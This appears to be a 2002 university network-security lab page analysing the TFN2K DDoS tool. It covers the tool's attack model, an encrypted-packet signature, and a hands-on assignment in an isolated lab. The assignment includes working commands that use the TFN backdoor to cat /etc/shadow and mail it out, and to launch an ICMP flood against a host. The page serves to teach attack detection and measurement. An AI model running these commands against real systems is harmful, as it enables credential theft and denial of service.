Assignments of day 5 in week #3
Distributed Denial-Of-Service (DDoS):TFN2K - An Analysis

Last Updated : Tuesday, 04-Jun-2002 15:14:40 HKT

Attack model
The client program tfn running on the Client sending commands to its server nodes which are running a server prgrom td. The ccommunication between the client and server nodes are encrypted with CAST 256 alorgthim (key length from 128 to 256). The communication packets are using random sourc IP via TCP , UDP and ICMP protocol. Hence, the communication is one way from client to server nodes.
Once the server nodes recieve the commands from thier client, they commence the flood attack.
TNF2K proives the following attacks:
The attack packets to the victim are also using random source IP. Hence, it is difficult to trace the originity of the attack even sniffering the attack packages.
The Command menu of the client tfn

The communication packtets between the client and server nodes are using random source IP. The command messages in the communciation packets between the client and master nodes are encrypted by CAST 256. BTW, there is a signature of these packets -- 0x41 at the end of each packtes.

The Attack Examples:
ICMP flood attack
The server node (ntec1 in this example) generate enormous ICMP flood to the victim with the random faked source IP.
tcpdump does not show all the no. of these packets due to packets drop in the network interface but the swtich record down the traffic.
Server node port traffic

Victim loading
Before the attack, the CPU is over 90% idle
During the attack, the CPU Kernel loading shot up to 85%

Assignments

Post all your answers and works on your web page

Please do this assignment very carefully

Start up the TFN daemon at your partner host and capture the ICMP package by the cap1 script

ntec16-36:/tmp> /usr/local2/wsh/ddos/cap1
td: no process killed
tcpdump: listening on eth0

TFN backdoor (Semi-interactive access)

As your host, try to control your partner host via the TFN backddor. Command your TFN to send you the shadow password file to you.

cd /usr/local2/wsh/ddos
 ./tfn -h your_partner_host -c 10 -i "/bin/cat /etc/shadow|/bin/mail your_email@ie.cuhk.edu.hk"

Check the tcpdump in step 1. What is the IP, protocol of tcpdump traffic? Are the packet data encrypted? How many shadow password emails do you receive from your TFN server (i.e. your partner host)? Post the tcpdump and your findings on your web pages.
If you still cannot recieve the /etc/shadow information by mail, repeat step 1.
Hit CTRL-C to terminate your tcpdump at your host.

Launch the DOS attack to your host

tcpdump 10000 icmp packet to /tmp/ddos.dump by the cap2 script at your partner host

ntec16-36:/tmp> /usr/local2/wsh/ddos/cap2
td: no process killed
tcpdump: listening on eth0

At your host, command your TFN at the partner host to launch a ICMP DOS attack to your host

./tfn -h your_partner_host -c 6 -i your_host_IP@

Note. Actually this attack will not reach your host because our NTEC router has blocked them all.
However, you can measue the attack at the TFN server (i.e. your partner host) by the tcpdump in step II.

After a second, the tcpdump at your host should be finished and the tcpdump file,
/tmp/ddos.dump, with 10000 icmp packets should be created.

Kill your TFN daemon at your and partner host

Make sure you kill the TFN daemon at your and your partner host

/usr/local2/wsh/ddos/killd

Analyze the tcpdump file

Use snort or tcpdump to figure out the attack output rate (i.e. How many DOS attack packets per seconds). You can get it from the packet time stamp. For example,

tcpdump -nr /tmp/ddos.dump |head -100
tcpdump -nr /tmp/ddos.dump |tail -100

What spoofing IP did the attack use?

References:

Assignments of day 5 in week #3 Distributed Denial-Of-Service (DDoS):TFN2K - An Analysis

Assignments

Assignments of day 5 in week #3
Distributed Denial-Of-Service (DDoS):TFN2K - An Analysis